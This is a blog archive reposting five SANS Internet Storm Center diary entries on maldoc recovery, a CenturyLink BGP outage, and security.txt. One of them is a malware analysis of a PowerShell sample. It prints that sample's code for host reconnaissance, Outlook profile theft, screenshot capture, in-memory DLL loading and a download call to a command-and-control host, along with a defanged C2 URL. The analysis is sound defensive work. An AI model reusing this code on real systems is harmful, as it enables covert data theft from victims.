Blog

Archive for August, 2020

Finding The Original Maldoc, (Sun, Aug 30th)

Xavier wrote about a “Malicious Excel Sheet with a NULL VT Score” and I showed how to extract the VBA code from the maldoc cleaned by AV.

How can one find back the original maldoc?

By using a unique identifier as search term.

In the cleaned maldoc, the PROJECT stream was still present. As I explained in previous diary entry, the VBA project is password protected. The password is stored as a salted SHA1, encoded, and set as the value of DPB:

This value of DPB is unique to the maldoc, and that is the identifier I used to search through VirusTotal’s database.

I found three documents containing that ID:

  • 1191d5c1dd7f6ac38b8d72bee37415b3ff1c28a8f907971443ac3a36906e8bf5: the cleaned maldoc itself
  • 1edbb818ea75919bb70bd2496e789e89d26c94cdf65ab61ebb5f1403d45d323c: the original maldoc
  • a6b141c048ce6a034a60b687aa5de8a4cfe294ad535b2bc100dd80055b1f24c4.vir: another cleaned maldoc

 

The stream modules are intact in the original maldoc:

While the second cleaned AV has even more streams cleaned (all VBA project streams):

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

CenturyLink Outage Causing Internet Wide Problems, (Sun, Aug 30th)

Update From Centrylink at approx 15:00 UTC / 11:00 EDST:
The IP NOC with the assistance of the Operations Engineering team confirmed a routing issue to be preventing BGP sessions from establishing correctly. A configuration adjustment was deployed at a high level, and sessions began to re-establish with stability. As the change propagates through the affected devices, service affecting alarms continue to clear.

Due to the nature of this outage, it may be necessary to reset your services locally at your equipment, or manually reset your BGP session. If after that action has been performed a service issue prevails, please contact the CenturyLink Repair Center for troubleshooting assistance.

Early this morning (US East Coast time), CenturyLink started having problems with routes passing AS3356. This network is central in routing a large part of internet traffic, and the outage is still causing problems for many services like for example OpenDNS, Duo Security, Cloudflare, Imperva (a service SANS, and isc.sans.edu uses). 

At this point, there is no indication that this is an attack. This looks so far like a misconfiguration or maybe a hardware failure.

If a network like AS3356 has problems handling traffic, a typical response is to route traffic via a different network. As a customer of CenturyLink, you would disconnect from CenturyLink, and instead, advertise your IP address space via a different backup ISP. It looks like this failed for two reasons in many cases:

  1. AS3356 itself did not withdraw these routes once the customer disconnected. So the rest of the internet still continued to believe CenturyLink, and is sending traffic to them vs sending it to the backup ISP
  2. Which backup ISP? AS3356 used to belong to Level 3. Level 3 was purchased by CenturyLink. CenturyLink also merged with other ISPs/NSPs like for example Qwest. This is another example of how the Internet has long been much less diverse than it should be.

What can you do about this as an end-user? Not much. Wait for CenturyLink to find a network engineer who is fluent enough in BGP to fix this. Some customers of CenturyLink report estimated times to resolution quoted at 1 pm ET. But there is no public acknowledgment of this time. I have seen some traffic come back to ISC/Imperva. For ISC, we also have dshield.org which does not appear to be affected (different ISP setup). 

You may want to disable affected services like OpenDNS as they may make things worse. Google DNS appears to be working. You could also decide to not require 2FA if you rely on a service like Duo. But I will live that risk decision up to you. And attackers could take advantage of widespread disabling of Duo.

Also: the companies I named here are just some notable once I ran across as affected. There are likely more.


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Malicious Excel Sheet with a NULL VT Score: More Info, (Sat, Aug 29th)

The maldoc Xavier mentioned in diary entry “Malicious Excel Sheet with a NULL VT Score” is indeed corrupt, and that explains its low score on VT. I believe this maldoc has been cleaned by an anti-virus program: (incomplete) deletion of VBA modules.

If we take a look with oledump.py, we see some streams related to VBA, but the module streams are missing (they contain the compressed VBA code):

Stream PROJECT contains pure text like an INI file:

From the [Workspace] section, we can see that there are 3 module stream (ThisWorkbook, Sheet1 and Sheet2) open in the VBA IDE. These are missing in the ole file.

Remark also that the ID is a zero guid: this means that the VBA project is password protected:

FYI: I was not able to crack the password using JtR and the Rockyou password list.

If we take a look with oledir (by @decalage2), we see that some streams have been deleted:

The streams have been deleted: freed (unused) and the name of the stream overwritten by _DELETED_NAME_*. But the size of the streams is not zero: there is a chance that the sectors that contain the stream content are still present (that the content is not erased).

To check this, I search for string Attribut (a normal module stream contains compressed VBA code that contains the string Attribut in the initial bytes):

This string is indeed present, and even 3 times: exactly the same as the number of module streams we found mentioned in the PROJECT stream.

For such cases (ole files that contain VBA code that is not accessible through streams) I have option –raw in oledump. Option –raw allows you to read any file type (it doesn’t get parsed like an ole file would) and then you can use option -v to search for compressed VBA code anywhere inside the file, like this:

This looks promising: this means that oledump.py found 3 instances of compressed VBA code, but that it was not able to decompress the VBA code without errors. As you might guess, oledump has another option to deal with this: –vbadecompresscorrupt.

Here is the result:

And finally, we see VBA code.

It is indeed malicious: running two commands, one PowerShell and one schtasks.

Please post a comment if you know which antivirus product cleans Office documents with malicious VBA code by deleting module streams and overwriting their stream name with _DELETED_NAME_*.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Example of Malicious DLL Injected in PowerShell, (Fri, Aug 28th)

For a while, PowerShell remains one of the favorite languages for attackers. Installed by default (and almost impossible to get rid of it), powerful, perfectly integrated with the core operating system. It’s very easy to develop specific PowerShell functions that will provide interesting features for an attacker but, if written in PowerShell, they could easily ring a bell for the defenders (example: by using many suspicious API calls). Another technique to expand the language with more functions is just to load a DLL! I found a sample that exfiltrates data from the victim’s computer.

First, basic information about the victim’s computer is collected by running classic command-line tools:

function F5rfcOkoteobtjw()
{
    if ((((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN))
    {
        $Z5oXjQKQ = "DOMAIN: NO`n`n"
    } else { $Z5oXjQKQ = "DOMAIN: YES`n`n"}
    $Z5oXjQKQ += "SYSTEMINFO:`n`n" + ((systeminfo) -join "`n")
    $Z5oXjQKQ += "`n`nIPCONFIG:`n`n" + ((ipconfig /all) -join "`n")
    $Z5oXjQKQ += "`n`nNETSTAT:`n`n" + ((netstat -f) -join "`n")
    $Z5oXjQKQ += "`n`nNETVIEW:`n`n" + ((net view) -join "`n")
    $Z5oXjQKQ += "`n`nTASKLIST:`n`n" + ((tasklist) -join "`n")
    $Z5oXjQKQ += "`n`nWHOAMI:`n`n" + ((whoami) -join "`n")
    $Z5oXjQKQ += "`n`nUSERNAME:`n`n" + ((net user $env:username /domain) -join "`n")
    $Z5oXjQKQ += "`n`nDOMAIN ADMINS:`n`n" + ((net group "domain admins" /domain ) -join "`n")
    $Z5oXjQKQ += "`n`nDESKTOP:`n`n" + (Get-ChildItem ([environment]::getfolderpath("desktop")) | Out-String)
    $Z5oXjQKQ += "`n`nAV:`n`n" + (Get-WmiObject -Namespace "rootSecurityCenter2" -Query "SELECT * FROM AntiVirusProduct").displayName
    $EyUrI0YTDc = [System.Text.Encoding]::UTF8.GetBytes($Z5oXjQKQ)
    r8LHrhI 0 $EyUrI0YTDc
}

Then, the Outlook profile is extracted from the registry:

function X2k2cdDAGo()
{
    $Z5oXjQKQ = ""
    $Z5oXjQKQ += UIe8sB6zH "hkcu:SoftwareMicrosoftOffice16.0OutlookProfiles*9375CFF0413111d3B88A00104B2A6676*"
    $Z5oXjQKQ += UIe8sB6zH "hkcu:SoftwareMicrosoftOffice15.0OutlookProfiles*9375CFF0413111d3B88A00104B2A6676*"
    $Z5oXjQKQ += UIe8sB6zH "hkcu:SoftwareMicrosoftWindows NTCurrentVersionWindows Messaging SubsystemProfilesOutlook9375CFF0413111d3B88A00104B2A6676*"
    if ($Z5oXjQKQ -ne "")
    {
        $EyUrI0YTDc = [System.Text.Encoding]::UTF8.GetBytes($Z5oXjQKQ)
        r8LHrhI 1 $EyUrI0YTDc
    }
}

And finally, a screenshot is generated:

function JouSArFQ6kv()
{
    Add-Type -Assembly System.Windows.Forms
    $z7JRFcFKpF = [Windows.Forms.SystemInformation]
    $TEFaSIoRepdsHy = $z7JRFcFKpF::VirtualScreen
    $F9wFd3ghH8VbFJj7 = New-Object Drawing.Bitmap $TEFaSIoRepdsHy.Width, $TEFaSIoRepdsHy.Height
    $Ox71ToqVRRQwhg9a = [Drawing.Graphics]::FromImage($F9wFd3ghH8VbFJj7)
    $Ox71ToqVRRQwhg9a.CopyFromScreen($TEFaSIoRepdsHy.Location, [Drawing.Point]::Empty, $TEFaSIoRepdsHy.Size)
    $Ox71ToqVRRQwhg9a.Dispose()
    $ntxzp2n = New-Object System.IO.MemoryStream
    $ZccBcQz3g54=40
    $Cq9RWAEjwyTCLRoderParams = New-Object System.Drawing.Imaging.EncoderParameters
    $Cq9RWAEjwyTCLRoderParams.Param[0] = New-Object Drawing.Imaging.EncoderParameter ([System.Drawing.Imaging.Encoder]::Quality, $ZccBcQz3g54)
    $dPyJ9JM = [Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() | Where-Object { $_.FormatDescription -eq "JPEG" }
    $F9wFd3ghH8VbFJj7.save($ntxzp2n, $dPyJ9JM, $Cq9RWAEjwyTCLRoderParams)
    $F9wFd3ghH8VbFJj7.Dispose()
    $EyUrI0YTDc = [convert]::ToBase64String($ntxzp2n.ToArray())
    $EyUrI0YTDc = [System.Text.Encoding]::ASCII.GetBytes($EyUrI0YTDc)
    r8LHrhI 2 $EyUrI0YTDc
}

But this is not the most interesting part of the sample. Let’s have a look at specific functions provided by a malicious DLL. The DLL is gzipped and Base64-encoded:

$UwDI0aRabjIk3s = New-Object IO.Compression.GzipStream([IO.MemoryStream][Convert]::FromBase64String("
    H4sIAAAAAAACC+06aXgc
    ...stuff removed...
    j8+/wt8EsGVACwAAA=="), [IO.Compression.CompressionMode]::Decompress)

Once decoded, memory is allocated, filled with the DLL code and loaded into the current process:

$tdBxFBPoF9H = New-Object byte[](20480)
$UwDI0aRabjIk3s.Read($tdBxFBPoF9H, 0, 20480) | Out-Null
[System.Reflection.Assembly]::Load($tdBxFBPoF9H) | Out-Null

The loaded DLL functions are called from multiple locations in the PowerShell script:

[lu1Ghpi.lu1Ghpi]::LCT7Zf([Ref].Assembly)
[lu1Ghpi.lu1Ghpi]::G6ftSnK0ugKvb2d(0, 0, $False)
[lu1Ghpi.lu1Ghpi]::dIIxO5Q5DK($IjhCozkPh)

Let’s load the DLL into Ghidra and we can see all the function names in the symbols:

Let’s have a look at the function G6ftSnK0ugKvb2d() which is used to generate the URI to communicate with the C2 server to exfiltrate data:

$du3JoqQ6OQO4 = New-Object System.Net.WebClient
$pZkGmBMzTr = "https://$PsEGZJ3A39n/" + [lu1Ghpi.lu1Ghpi]::G6ftSnK0ugKvb2d(0, 0, $False)
$ZcHP6xyD = $du3JoqQ6OQO4.DownloadData($pZkGmBMzTr)

The function is quite complex to understand in Ghidra:

This one is not very easy to reverse and, often, we don’t have time for this. How to understand the purpose of the function? Let’s debug the PowerShell code! 

Once the script loaded into PowerShell ISE, you add a breakpoint on an interesting line, by example, the one calling the function seen above and you execute the script:

You can now decode the complete URL used to exfiltrate the data:

hxxps://173-232-146-217[.]sslip[.]io/ss1ocok/xi5/ovmcnml2/24y/h0am5ngt1141zuo454unbce/b/vd/i/irani0ceia.jpg

And, because we loaded the DLL into our PowerShell session, we can directly call the function and see what is returns:

[DBG]: PS C:UsersREMDesktop>> [lu1Ghpi.lu1Ghpi]::G6ftSnK0ugKvb2d(0, 0, $False)
ga2wu/3/ptzblbvljd0r/0ureglfn/5omzbspltwim1q25hqy2/hhz2/ghbz4pbq.jpg
[DBG]: PS C:UsersREMDesktop>> [lu1Ghpi.lu1Ghpi]::G6ftSnK0ugKvb2d(0, 0, $False)
a/sfgad4hpnogbgm/q1yhxyi4bkff/fk1/sijz/kg2skektcxmrcuyv1ei/vgfoy.jpg
[DBG]: PS C:UsersREMDesktop>> [lu1Ghpi.lu1Ghpi]::G6ftSnK0ugKvb2d(0, 0, $False)
a4kqsy/oe/mq0q/3/gupw3qx4pfih/3euubzgjvfqoj0/hjow/bqr0lvq/meos3mda.jpg

Conclusion: You don’t always need to spend a lot of time to reverse a DLL, just load it in a sandbox and call the functions directly from PowerShell. Another approach would be to attach the PowerShell to a debugger but, here again, it will more time-consuming.

The original script is available on VT with a nice score of 3/57 (SHA256:863b7ad4a0b8fb0fff6c60fd8fa41f1dee8632bc9423f88354465e29a0674136)[1]. If you’re interested in the DLL, I uploaded it on MalwareBazaar[2].

[1] https://www.virustotal.com/gui/file/863b7ad4a0b8fb0fff6c60fd8fa41f1dee8632bc9423f88354465e29a0674136/detection
[2] https://bazaar.abuse.ch/sample/5eb0794df0be82e3aee984a24dd0197d9d474703d9b4a1a00d8affc99a1a10b6/

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Security.txt – one small file for an admin, one giant help to a security researcher, (Thu, Aug 27th)

During the last few months, I’ve noticed a significant increase in the number of vulnerability reports for domains registered to some of our customers. I would guess that this increase probably stems from more time being devoted by bug bounty hunters and security researchers to finding vulnerabilities due to their Covid-19 related self-isolation. Whatever the cause is however, the increased number of reports is probably felt by many organizations around the world.

If you’ve ever found a vulnerability on a website, which wasn’t operated by you or your organization, chances are you’ve had a bit of a difficult time finding the right person to report the vulnerability to. If you lack this experience, just try to imagine how easy (or difficult) it might be to get in touch with the responsible department or person in your company if someone were to find a vulnerability on the website of your organization. Identifying the right contact for domains registered by companies, which run their own CSIRT or PSIRT, is usually quite straightforward, but for the rest of them it can be quite a headache.

If you think this might be the case for websites/domains you are responsible for as well, one way, in which you might make it much easier for third parties to report vulnerabilities to you (or to the relevant department your organization), would be to publish the relevant contact according to the not-yet-RFC called “A File Format to Aid in Security Vulnerability Disclosure”[1].

This draft standard covers the creation of a file called “security.txt” in the /.well-known/ path on a web server, or in its root, which contains information relevant to the security of the server – most notably information about a contact, to which vulnerabilities may be reported. Bug bounty hunters and other security specialists tend to look for this file any time they find something worth reporting as the proposed standard is well known in the community since it has been with us for more than a couple of years now[2].

The draft covers much more than just publishing contact information so if you haven’t read it yet, I recommend that you take a look. But if you find yourself with just a couple of minutes to spare today and would like to make the life of anyone who might wish to report a vulnerability to you a lot easier, consider creating security.txt file in the /.well-known/ path or next to your robots.txt file. Even if you put in it just the relevant information about a contact where vulnerabilities and other security issues may be reported, it may help someone trying to do the right thing immensely.

To make this a bit easier, here is an example of the formats for contact information taken from the draft, on which you may base your first security.txt file.

Contact: mailto:[email protected]
Contact: mailto:security%2Buri%[email protected]
Contact: tel:+1-201-555-0123
Contact: https://example.com/security-contact.html

 

[1] https://datatracker.ietf.org/doc/draft-foudil-securitytxt/?include_text=1
[2] https://isc.sans.edu/podcastdetail.html?id=5674

———–
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →
Page 1 of 7 12345...»